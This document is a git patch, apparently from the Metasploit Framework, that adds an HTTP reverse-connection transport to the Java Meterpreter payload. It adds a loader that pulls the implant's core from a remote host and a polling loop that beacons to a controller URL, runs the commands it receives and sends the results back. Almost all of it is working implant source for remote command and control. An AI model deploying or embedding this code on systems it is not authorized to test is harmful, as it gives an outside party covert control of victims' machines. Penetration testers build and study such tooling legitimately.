From 9a3cafc794693618098f9226f350e379ddb95777 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 18 Jul 2011 23:15:06 +0000 Subject: [PATCH] add support for java/meterpreter/reverse_http. assuming i didn't miss any files, fixes #4946, thanks mihi! git-svn-id: file:///home/svn/framework3/trunk@13213 4d416f70-5f16-0410-b530-b9f4589650da --- build.xml | 2 - .../meterpreter/URLDebugLoader.java | 35 +++++++ .../metasploit/meterpreter/Meterpreter.java | 92 ++++++++++++++++++- 3 files changed, 125 insertions(+), 4 deletions(-) create mode 100644 src/loader/com/metasploit/meterpreter/URLDebugLoader.java diff --git a/build.xml b/build.xml index 25bbeeb4..6ec0f452 100644 --- a/build.xml +++ b/build.xml @@ -38,8 +38,6 @@ - - diff --git a/src/loader/com/metasploit/meterpreter/URLDebugLoader.java b/src/loader/com/metasploit/meterpreter/URLDebugLoader.java new file mode 100644 index 00000000..c8301b33 --- /dev/null +++ b/src/loader/com/metasploit/meterpreter/URLDebugLoader.java @@ -0,0 +1,35 @@ +package com.metasploit.meterpreter; + +import java.io.ByteArrayOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.OutputStream; +import java.net.URL; + +/** + * A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled. + * + * @author mihi + */ +public class URLDebugLoader { + /** + * Main entry point. + */ + public static void main(String[] args) throws Exception { + if (args.length < 2) { + System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader []"); + return; + } + URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM"); + DataInputStream in = new DataInputStream(initURL.openStream()); + OutputStream out = new DataOutputStream(new ByteArrayOutputStream()); + int coreLen = in.readInt(); + while (coreLen != 0) { + in.readFully(new byte[coreLen]); + coreLen = in.readInt(); + } + coreLen = in.readInt(); + in.readFully(new byte[coreLen]); + new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3); + } +} diff --git a/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java b/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java index 762b112d..488d1824 100644 --- a/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java +++ b/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java @@ -10,6 +10,7 @@ import java.io.OutputStream; import java.io.PrintStream; import java.net.URL; import java.net.URLClassLoader; +import java.net.URLConnection; import java.util.ArrayList; import java.util.Iterator; import java.util.List; @@ -36,6 +37,7 @@ public class Meterpreter { private final ByteArrayOutputStream errBuffer; private final PrintStream err; private final boolean loadExtensions; + private List/* */tlvQueue = null; /** * Initialize the meterpreter. @@ -69,7 +71,9 @@ public class Meterpreter { if (ptype != PACKET_TYPE_REQUEST) throw new IOException("Invalid packet type: " + ptype); TLVPacket request = new TLVPacket(in, len - 8); - writeTLV(PACKET_TYPE_RESPONSE, executeCommand(request)); + TLVPacket response = executeCommand(request); + if (response != null) + writeTLV(PACKET_TYPE_RESPONSE, response); } } catch (EOFException ex) { } @@ -91,8 +95,17 @@ public class Meterpreter { * @param packet * The packet to send */ - private void writeTLV(int type, TLVPacket packet) throws IOException { + private synchronized void writeTLV(int type, TLVPacket packet) throws IOException { byte[] data = packet.toByteArray(); + if (tlvQueue != null) { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + dos.writeInt(data.length + 8); + dos.writeInt(type); + dos.write(data); + tlvQueue.add(baos.toByteArray()); + return; + } synchronized (out) { out.writeInt(data.length + 8); out.writeInt(type); @@ -111,6 +124,15 @@ public class Meterpreter { private TLVPacket executeCommand(TLVPacket request) throws IOException { TLVPacket response = new TLVPacket(); String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); + if (method.equals("core_switch_url")) { + String url = request.getStringValue(TLVType.TLV_TYPE_STRING); + int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT); + int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH); + pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout); + return null; + } else if (method.equals("core_shutdown")) { + return null; + } response.add(TLVType.TLV_TYPE_METHOD, method); response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID)); Command cmd = commandManager.getCommand(method); @@ -124,6 +146,72 @@ public class Meterpreter { response.add(TLVType.TLV_TYPE_RESULT, result); return response; } + + /** + * Poll from a given URL until a shutdown request is received. + * @param url + */ + private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException { + synchronized (this) { + tlvQueue = new ArrayList(); + } + long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L; + long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L; + final byte[] RECV = "RECV".getBytes("ISO-8859-1"); + while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) { + byte[] outPacket = null; + synchronized (this) { + if (tlvQueue.size() > 0) + outPacket = (byte[]) tlvQueue.remove(0); + } + TLVPacket request = null; + try { + URLConnection uc = url.openConnection(); + uc.setDoOutput(true); + OutputStream out = uc.getOutputStream(); + out.write(outPacket == null ? RECV : outPacket); + out.close(); + DataInputStream in = new DataInputStream(uc.getInputStream()); + int len; + try { + len = in.readInt(); + } catch (EOFException ex) { + len = -1; + } + if (len != -1) { + int ptype = in.readInt(); + if (ptype != PACKET_TYPE_REQUEST) + throw new RuntimeException("Invalid packet type: " + ptype); + request = new TLVPacket(in, len - 8); + } + in.close(); + commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L; + } catch (IOException ex) { + ex.printStackTrace(getErrorStream()); + // URL not reachable + if (outPacket != null) { + synchronized (this) { + tlvQueue.add(0, outPacket); + } + } + } + if (request != null) { + TLVPacket response = executeCommand(request); + if (response == null) + break; + writeTLV(PACKET_TYPE_RESPONSE, response); + } else if (outPacket == null) { + try { + Thread.sleep(5000); + } catch (InterruptedException ex) { + // ignore + } + } + } + synchronized (this) { + tlvQueue = new ArrayList(); + } + } /** * Get the command manager, used to register or lookup commands.